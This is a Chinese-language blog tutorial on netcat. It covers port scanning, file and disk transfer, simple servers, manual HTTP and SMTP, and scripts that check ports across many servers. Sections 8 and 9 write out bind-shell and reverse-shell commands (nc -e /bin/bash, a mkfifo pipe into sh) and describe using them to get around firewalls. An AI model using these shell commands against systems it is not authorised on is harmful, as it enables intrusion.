Linux命令--nc (测试服务器端口是否打开)

##参数

想要连接到某处:  nc [-options] hostname port[s] [ports] …
绑定端口等待连接:  nc -l port [-options] [hostname] [port]

  • -g<网关>:设置路由器跃程通信网关,最多设置8个;
  • -G<指向器数目>:设置来源路由指向器,其数值为4的倍数;
  • -h:在线帮助;
  • -i<延迟秒数>:设置时间间隔,以便传送信息及扫描通信端口;
  • -l:使用监听模式,监控传入的资料;
  • -n:直接使用ip地址,而不通过域名服务器;
  • -o<输出文件>:指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存;
  • -p<通信端口>:设置本地主机使用的通信端口;
  • -r:指定源端口和目的端口都进行随机的选择;
  • -s<来源位址>:设置本地主机送出数据包的IP地址;
  • -u:使用UDP传输协议;
  • -v:显示指令执行过程;
  • -w<超时秒数>:设置等待连线的时间;
  • -z:使用0输入/输出模式,只在扫描通信端口时使用。

##用法

[A Server(192.168.1.1) B Client(192.168.1.2)]

####0.

连接到远程主机:
$nc -nvv 192.168.x.x 80

连到192.168.x.x的TCP80端口.

监听本地主机:
$nc -l 80

监听本机的TCP80端口.

超时控制:

多数情况我们不希望连接一直保持,那么我们可以使用 -w 参数来指定连接的空闲超时时间,该参数紧接一个数值,代表秒数,如果连接超过指定时间则连接会被终止。

Server
$nc -l 2389
Client
$ nc -w 10 localhost 2389

该连接将在 10 秒后中断。
注意: 不要在服务器端同时使用 -w 和 -l 参数,因为 -w 参数将在服务器端无效果。

####1.端口扫描

端口扫描经常被系统管理员和黑客用来发现在一些机器上开放的端口,帮助他们识别系统中的漏洞。

$nc -z -v -n 192.168.1.1 21-25

可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp.
z 参数告诉netcat使用0 IO,连接成功后立即关闭连接, 不进行数据交换.
v 参数指详细输出.
n 参数告诉netcat 不要使用DNS反向查询IP地址的域名.
以上命令会打印21到25 所有开放的端口。

$nc -v 127.0.0.1 22localhost [127.0.0.1] 22 (ssh) openSSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.4

"SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.4"为Banner信息。Banner是一个文本,Banner是一个你连接的服务发送给你的文本信息。当你试图鉴别漏洞或者服务的类型和版本的时候,Banner信息是非常有用的。但是,并不是所有的服务都会发送banner.一旦你发现开放的端口,你可以容易的使用netcat 连接服务抓取他们的banner。

####2.Chat Server

假如你想和你的朋友聊聊,有很多的软件和信息服务可以供你使用。但是,如果你没有这么奢侈的配置,比如你在计算机实验室,所有的对外的连接都是被限制的,你怎样和整天坐在隔壁房间的朋友沟通那?不要郁闷了,netcat提供了这样一种方法,你只需要创建一个Chat服务器,一个预先确定好的端口,这样子他就可以联系到你了。

Server
$nc -l 20000

netcat 命令在20000端口启动了一个tcp 服务器,所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。

Client
$nc 192.168.1.1 20000

不管你在机器B上键入什么都会出现在机器A上。

####3.文件传输

大部分时间中,我们都在试图通过网络或者其他工具传输文件。有很多种方法,比如FTP,SCP,SMB等等,但是当你只是需要临时或者一次传输文件,真的值得浪费时间来安装配置一个软件到你的机器上嘛。假设,你想要传一个文件file.txt 从A 到B。A或者B都可以作为服务器或者客户端.

Server
$nc -l 20000 < file.txt
Client
$nc -n 192.168.1.1 20000 > file.txt

这里我们创建了一个服务器在A上并且重定向netcat的输入为文件file.txt,那么当任何成功连接到该端口,netcat会发送file的文件内容。
在客户端我们重定向输出到file.txt,当B连接到A,A发送文件内容,B保存文件内容到file.txt.
没有必要创建文件源作为Server,我们也可以相反的方法使用。像下面的我们发送文件从B到A,但是服务器创建在A上,这次我们仅需要重定向netcat的输出并且重定向B的输入文件。
B作为Server

Server
$nc -l 20000 > file.txt
Client
$nc 192.168.1.2 20000 < file.txt

####4.目录传输

发送一个文件很简单,但是如果我们想要发送多个文件,或者整个目录,一样很简单,只需要使用压缩工具tar,压缩后发送压缩包。
如果你想要通过网络传输一个目录从A到B。

Server
$tar -cvf – dir_name | nc -l 20000
Client
$nc -n 192.168.1.1 20000 | tar -xvf -

这里在A服务器上,我们创建一个tar归档包并且通过-在控制台重定向它,然后使用管道,重定向给netcat,netcat可以通过网络发送它。
在客户端我们下载该压缩包通过netcat 管道然后打开文件。
如果想要节省带宽传输压缩包,我们可以使用bzip2或者其他工具压缩。

Server
$tar -cvf – dir_name| bzip2 -z | nc -l 20000

通过bzip2压缩

Client
$nc -n 192.168.1.1 20000 | bzip2 -d |tar -xvf -

####5. 加密你通过网络发送的数据

如果你担心你在网络上发送数据的安全,你可以在发送你的数据之前用如mcrypt的工具加密。

Server
$nc localhost 20000 | mcrypt –flush –bare -F -q -d -m ecb > file.txt

使用mcrypt工具加密数据。

Client
$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 20000

使用mcrypt工具解密数据。
以上两个命令会提示需要密码,确保两端使用相同的密码。
这里我们是使用mcrypt用来加密,使用其它任意加密工具都可以。

####6.流视频

虽然不是生成流视频的最好方法,但如果服务器上没有特定的工具,使用netcat,我们仍然有希望做成这件事。

Server
$cat video.avi | nc -l 20000

这里我们只是从一个视频文件中读入并重定向输出到netcat客户端

Client
$nc 192.168.1.1 20000 | mplayer -vo x11 -cache 3000 -

这里我们从socket中读入数据并重定向到mplayer。

####7,克隆一个设备

如果你已经安装配置一台Linux机器并且需要重复同样的操作对其他的机器,而你不想在重复配置一遍。不在需要重复配置安装的过程,只启动另一台机器的一些引导可以随身碟和克隆你的机器。
克隆Linux PC很简单,假如你的系统在磁盘/dev/sda上

Server
$dd if=/dev/sda | nc -l 20000
Client
$nc -n 192.168.1.1 20000 | dd of=/dev/sda

dd是一个从磁盘读取原始数据的工具,我通过netcat服务器重定向它的输出流到其他机器并且写入到磁盘中,它会随着分区表拷贝所有的信息。但是如果我们已经做过分区并且只需要克隆root分区,我们可以根据我们系统root分区的位置,更改sda 为sda1,sda2.等等。

####8.打开一个shell

我们已经用过远程shell-使用telnet和ssh,但是如果这两个命令没有安装并且我们没有权限安装他们,我们也可以使用netcat创建远程shell。
假设你的netcat支持 -c -e 参数(原生 netcat)

Server
$nc -l 20000 -e /bin/bash -i
Client
$nc 192.168.1.1 20000

这里我们已经创建了一个netcat服务器并且表示当它连接成功时执行/bin/bash
假如netcat 不支持-c 或者 -e 参数(openbsd netcat),我们仍然能够创建远程shell

Server
$mkfifo /tmp/tmp_fifo$cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 20000 > /tmp/tmp_fifo

这里我们创建了一个fifo文件,然后使用管道命令把这个fifo文件内容定向到shell 2>&1中。是用来重定向标准错误输出和标准输出,然后管道到netcat 运行的端口20000上。至此,我们已经把netcat的输出重定向到fifo文件中。
说明:
从网络收到的输入写到fifo文件中
cat 命令读取fifo文件并且其内容发送给sh命令
sh命令进程受到输入并把它写回到netcat。
netcat 通过网络发送输出到client
至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。
在客户端仅仅简单连接到服务器

Client
$nc -n 192.168.1.1 20000

你会得到一个shell提示符在客户端

####9.反向shell

反向shell是指在客户端打开的shell。反向shell这样命名是因为不同于其他配置,这里服务器使用的是由客户提供的服务。

Server
$nc -l 20000

在客户端,简单地告诉netcat在连接完成后,执行shell。

Client
$nc 192.168.1.1 20000 -e /bin/bash

现在,什么是反向shell的特别之处呢
反向shell经常被用来绕过防火墙的限制,如阻止入站连接。例如,我有一个专用IP地址为192.168.1.1,我使用代理服务器连接到外部网络。如果我想从网络外部访问 这台机器如1.2.3.4的shell,那么我会用反向外壳用于这一目的。

####10.指定源端口

假设你的防火墙过滤除25端口外其它所有端口,你需要使用-p选项指定源端口。

Server
$nc -l 20000
Client
$nc 192.168.1.1 20000 25

使用1024以内的端口需要root权限。
该命令将在客户端开启25端口用于通讯,否则将使用随机端口。

####11.指定源地址

假设你的机器有多个地址,希望明确指定使用哪个地址用于外部数据通讯。我们可以在netcat中使用-s选项指定ip地址。

Server
$nc -u -l 20000 < file.txt
Client
$nc -u 192.168.1.1 20000 -s 172.31.100.5 > file.txt

该命令将绑定地址172.31.100.5。

####12.静态web页面服务器

新建一个网页,命名为somepage.html;
新建一个shell script:

while true; donc -l 80 -q 1 < somepage.html;done

用root权限执行,然后在浏览器中输入127.0.0.1打开看看是否正确运行。
nc 指令通常都是給管理者進行除錯或測試等動作用的,所以如果只是單純需要臨時的網頁伺服器,使用 Python 的 SimpleHTTPServer 模組會比較方便。

####13.模拟HTTP Headers

$nc www.huanxiangwu.com 80GET / HTTP/1.1Host: ispconfig.orgReferrer: mypage.com
User-Agent: my-browser
HTTP/1.1 200 OKDate: Tue, 16 Dec 2008 07:23:24 GMTServer: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/Expires: 0Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cache
Cache-Control: private, post-check=0, pre-check=0, max-age=0Set-Cookie: oWn_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html
[......]

在nc命令后,输入红色部分的内容,然后按两次回车,即可从对方获得HTTP Headers内容。

####13.Netcat支持IPv6

netcat 的 -4 和 -6 参数用来指定 IP 地址类型,分别是 IPv4 和 IPv6:

Server
$ nc -4 -l 2389
Client
$ nc -4 localhost 2389

然后我们可以使用 netstat 命令来查看网络的情况:

$ netstat | grep 2389tcp        0      0 localhost:2389          localhost:50851         ESTABLISHED
tcp        0      0 localhost:50851         localhost:2389          ESTABLISHED

接下来我们看看IPv6 的情况:

Server
$ nc -6 -l 2389
Client
$ nc -6 localhost 2389

再次运行 netstat 命令:

$ netstat | grep 2389tcp6       0      0 localhost:2389          localhost:33234         ESTABLISHED
tcp6       0      0 localhost:33234         localhost:2389          ESTABLISHED

前缀是 tcp6 表示使用的是 IPv6 的地址。

####14.在 Netcat 中禁止从标准输入中读取数据

该功能使用 -d 参数,请看下面例子:

Server
$ nc -l 2389
Client
$ nc -d localhost 2389
Hi

你输入的 Hi 文本并不会送到服务器端。

####15.强制 Netcat 服务器端保持启动状态

如果连接到服务器的客户端断开连接,那么服务器端也会跟着退出。

Server
$ nc -l 2389
Client
$ nc localhost 2389^C
Server
$ nc -l 2389
$

上述例子中,但客户端断开时服务器端也立即退出。
我们可以通过 -k 参数来控制让服务器不会因为客户端的断开连接而退出。

Server
$ nc -k -l 2389
Client
$ nc localhost 2389^C
Server
$ nc -k -l 2389

####16.配置 Netcat 客户端不会因为 EOF 而退出

Netcat 客户端可以通过 -q 参数来控制接收到 EOF 后隔多长时间才退出,该参数的单位是秒:

Client
$nc  -q 5  localhost 2389

现在如果客户端接收到 EOF ,它将等待 5 秒后退出。

####17.手動使用 SMTP 協定寄信

在測試郵件伺服器是否正常時,可以使用這樣的方式手動寄送 Email:

$nc localhost 25 << EOF
HELO host.example.com
MAIL FROM: <user@host.example.com>
RCPT TO: <user2@host.example.com>
DATA
Body of email.
.
QUIT
EOF

####18.透過代理伺服器(Proxy)連線

這指令會使用 10.2.3.4:8080 這個代理伺服器,連線至 host.example.com 的42端口。

$nc -x10.2.3.4:8080 -Xconnect host.example.com 42

####19.使用 Unix Domain Socket

這行指令會建立一個 Unix Domain Socket,並接收資料:

$nc -lU /var/tmp/dsocket
如何使用 Shell 脚本来查看多个服务器的端口是否打开?
我们在进行服务器配置的时候,经常要查看服务器的某个端口是否已经开放。如果服务器只有一两台的话,那很好办,只需要使用 nc 命令一个个查看即可。
但是,如果你的服务器是个集群,有很多台呢?那如果还一个个手动去检查的话,效率肯定是无比低下的,年底裁员名单里肯定有你。
在这种情况下,我们完全可以使用 Shell 脚本配合 nc 命令来达到我们的目的。而且,不管服务器有几台,需要检查的端口有几个,都可以实现这样的目标。
在本文里,我们用 Shell 脚本来实现两个需求:
扫描多台服务器的一个端口是否打开
扫描多台服务器的多个端口是否打开
在开始之前,我们先来了解一下 nc 命令。
nc 命令简介
nc 是英文单词 netcat 的缩写,它是通过使用 TCP 或 UDP 的网络协议的连接来读或写数据,可以直接被第三方程序或脚本直接调用。
同时,它是一款功能非常强大的网络调试工具,因为它可以创建几乎所有你所需要的连接方式。
nc 工具主要有三种功能模式:连接模式、监听模式、通道模式。它的一般使用格式如下:
$ nc [-options] [HostName or IP] [PortNumber]
接下来,我们就用 Shell 脚本结合 nc 命令来实现我们的两个需求。
1. 扫描多台服务器的一个端口是否打开
在这里,我们先把需要查询的所有服务器地址全部放在一个 server-list.txt 文件里,每个地址单独一行,如下:
# cat server-list.txt
192.168.1.2
192.168.1.3
192.168.1.4
192.168.1.5
192.168.1.6
192.168.1.7
然后,我们再用 for 循环依次扫描 server-list.txt 里对应服务器的端口是否打开。在这里,我们扫描 22 端口是否打开。
# vi port_scan.sh
#!/bin/sh
for server in `more server-list.txt`
do
#echo $i
nc -zvw3 $server 22
done
最后,我们给这个脚本赋予可执行权限即可。
$ chmod +x port_scan.sh
之后,我们就可以用这个脚本来自动依次检查多个服务器的 22 端口是否已打开。
# sh port_scan.sh
Connection to 192.168.1.2 22 port [tcp/ssh] succeeded!
Connection to 192.168.1.3 22 port [tcp/ssh] succeeded!
Connection to 192.168.1.4 22 port [tcp/ssh] succeeded!
Connection to 192.168.1.5 22 port [tcp/ssh] succeeded!
Connection to 192.168.1.6 22 port [tcp/ssh] succeeded!
Connection to 192.168.1.7 22 port [tcp/ssh] succeeded!
2. 扫描多台服务器的多个端口是否打开
在这里,我们同样把需要查询的所有服务器地址全部放在一个 server-list.txt 文件里,每个地址单独一行。这里就不重复演示了。
与此同时,我们也把需要查询的服务器端口放在另一个 port-list.txt 文件里,每个端口单独一行,如下所示:
# cat port-list.txt
22
80
然后,我们再用 for 循环依次扫描 server-list.txt 里对应服务器 port-list.txt 所列的端口是否打开。注意,这里用到了两个 for 循环,第一层是服务器列表,第二层是端口列表。
# vi multiple_port_scan.sh
#!/bin/sh
for server in `more server-list.txt`
do
for port in `more port-list.txt`
do
#echo $server
nc -zvw3 $server $port
echo ""
done
done
最后,我们给这个脚本赋予可执行权限即可。
$ chmod +x multiple_port_scan.sh
之后,我们就可以用这个脚本来自动依次检查多个服务器的多个端口是否已打开。
# sh multiple_port_scan.sh
Connection to 192.168.1.2 22 port [tcp/ssh] succeeded!
Connection to 192.168.1.2 80 port [tcp/http] succeeded!
Connection to 192.168.1.3 22 port [tcp/ssh] succeeded!
Connection to 192.168.1.3 80 port [tcp/http] succeeded!
Connection to 192.168.1.4 22 port [tcp/ssh] succeeded!
Connection to 192.168.1.4 80 port [tcp/http] succeeded!
Connection to 192.168.1.5 22 port [tcp/ssh] succeeded!
Connection to 192.168.1.5 80 port [tcp/http] succeeded!
Connection to 192.168.1.6 22 port [tcp/ssh] succeeded!
Connection to 192.168.1.6 80 port [tcp/http] succeeded!
Connection to 192.168.1.7 22 port [tcp/ssh] succeeded!
Connection to 192.168.1.7 80 port [tcp/http] succeeded!


About Me

........................................................................................................................

● 本文作者:小麦苗,部分内容整理自网络,若有侵权请联系小麦苗删除

● 本文在itpub( http://blog.itpub.net/26736162 )、博客园( http://www.cnblogs.com/lhrbest )和个人weixin公众号( xiaomaimiaolhr )上有同步更新

● 本文itpub地址: http://blog.itpub.net/26736162

● 本文博客园地址: http://www.cnblogs.com/lhrbest

● 本文pdf版、个人简介及小麦苗云盘地址: http://blog.itpub.net/26736162/viewspace-1624453/

● 数据库笔试面试题库及解答: http://blog.itpub.net/26736162/viewspace-2134706/

● DBA宝典今日头条号地址: http://www.toutiao.com/c/user/6401772890/#mid=1564638659405826

........................................................................................................................

● QQ群号: 230161599 (满) 、618766405

● weixin群:可加我weixin,我拉大家进群,非诚勿扰

● 联系我请加QQ好友 ( 646634621 ) ,注明添加缘由

● 于 2019-05-01 06:00 ~ 2019-05-30 24:00 在魔都完成

● 最新修改时间:2019-05-01 06:00 ~ 2019-05-30 24:00

● 文章内容来源于小麦苗的学习笔记,部分整理自网络,若有侵权或不当之处还请谅解

● 版权所有,欢迎分享本文,转载请保留出处

........................................................................................................................

● 小麦苗的微店 : https://weidian.com/s/793741433?wfr=c&ifr=shopdetail

● 小麦苗出版的数据库类丛书 : http://blog.itpub.net/26736162/viewspace-2142121/

● 小麦苗OCP、OCM、高可用网络班 : http://blog.itpub.net/26736162/viewspace-2148098/

● 小麦苗腾讯课堂主页 : https://lhr.ke.qq.com/

........................................................................................................................

使用 weixin客户端 扫描下面的二维码来关注小麦苗的weixin公众号( xiaomaimiaolhr )及QQ群(DBA宝典)、添加小麦苗weixin, 学习最实用的数据库技术。

........................................................................................................................

来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/26736162/viewspace-2644141/,如需转载,请注明出处,否则将追究法律责任。

Linux命令--nc (测试服务器端口是否打开)相关推荐

  1. 如何测试服务器端口是否打开?

    服务器测试端口命令 前言 1.telnet 2.curl 3.ssh 4.nc 5.wget 前言 一台服务器为什么可以同时是Web服务器,也可以是FTP服务器,还可以是邮件服务器呢,其中一个很重要的 ...

  2. linux如何查看一个端口是否打开,lsof -i linux怎么查看某个端口是否打开

    Linux下用 lsof 命令查找指定端口被哪个进程占用 1)使用lsof命令lsof是一个非常强大的linux工具,她被用来查找哪些程序使用了那些文件.在linux系统下,基本上所有的东西都可以被当 ...

  3. 日常工作问题解决:centos/linux系统如何检测端口是否打开

    日常工作问题解决:centos/linux系统如何检测端口是否打开 参考文章: (1)日常工作问题解决:centos/linux系统如何检测端口是否打开 (2)https://www.cnblogs. ...

  4. Linux命令 lsof -i:端口号 ——有什么用途

    Linux命令 lsof -i:端口号 --有什么用途 ■注意 需要使用管理员权限执行,才能看到效果 ■用途1 可以查看端口被占用的情况 ■用途2 查看服务是否启动 比如启动Tomcat之后,运行如下 ...

  5. nc 探测端口_使用 nc 命令检查远程端口是否打开

    端口是与 Linux 操作系统上的应用或进程的通讯端点的逻辑实体.在使用之前,了解目标机器上哪些端口是打开并正在运行服务是非常有用的. 我们可以使用 netstat 或其他几个 Linux 命令如 N ...

  6. Mac OS/Linux命令查询网络端口占用情况

    2019独角兽企业重金招聘Python工程师标准>>> netstat命令 netstat -an | grep <port> <port> 为端口号 例子: ...

  7. linux 下查看某个端口是否打开,linux如何查看某个端口是否开放

    1.你可以使用 lsof 命令来查看某一端口是否开放.查看端口可以这样来使用,我就以80端口为例: lsof -i:80 或者 lsof -i:22 如果有显示说明已经开放了,如果没有显示说明没有开放 ...

  8. 测试服务器端口是否打开的几种办法

    1.telent 命令:telnet ip port 2.curl 命令:curl ip:port 3.ssh 命令:ssh -v -p port username@ip 4.nc 命令:nc-v - ...

  9. windows测试linux端口,windows、Linux 测试服务器、电脑的某些个端口是否打开

    测试远程端口是否开放包括两种方法: 一. 命令行的形式 二.代码 一.命令行的形式 两个命令:telnet.nc(netcat) 两种网络层协议:TCP.UDP windows有telnet,只是默认 ...

最新文章

  1. python语言只采用解释一种翻译方式对吗_python-guide翻译
  2. 要强大的“黑匣子”,还是“可解释”的机器学习?| 清华AI Time激辩
  3. 基于Hadoop的云盘系统客户端技术选型说明
  4. ventory制作U盘启动盘
  5. 玩cf出现outofmemory_完美解决outofmemory|Win7系统CF出现out of memory的解决方法
  6. WCF跨域 这可能是由于试图以跨域方式访问服务而又没有正确的跨域策略,或策略不适用于 SOAP...
  7. 使用Maven设置您的应用服务器
  8. 服务器字体指定 iconfont 字体的下载与使用 200303
  9. cacti登录密码忘记解决方法
  10. Nagios 安装教程
  11. ZooKeeper管理员指南 部署和管理指南
  12. 机器学习集成模型学习——Stacking集成学习(五)
  13. 九阳股份:公司部分产品已开始对接使用华为鸿蒙系统
  14. python开发自动化测试工具_Moler首页、文档和下载 - Python 编写真的自动化测试工具包 - OSCHINA - 中文开源技术交流社区...
  15. 图片去水印工具软件,比PS还好用的图片杂物去除工具
  16. PHP之——官方手册下载地址
  17. 视觉测量系统实现尺寸测量的4个步骤
  18. 如何测量多个变量之间的非线性关系
  19. MatrixDB v4.5.0 重磅发布,全新推出 MARS2 存储引擎!
  20. 漫画人物头像总是画不好?快看看这些注意点你有没有中招!

热门文章

  1. iOS动画——文字晃动
  2. Java求1-100的质数和
  3. 百度对 十进制网络 的官方态度
  4. 短视频seo搜索优化主要内容
  5. Efficient Use Of Tmux
  6. 核心期刊《法医学杂志》
  7. windows10 C盘满了,怎么处理
  8. 大数据Spark电影评分数据分析
  9. devsigh,程序员的一声叹息
  10. 关于Win10家庭版修改用户名的问题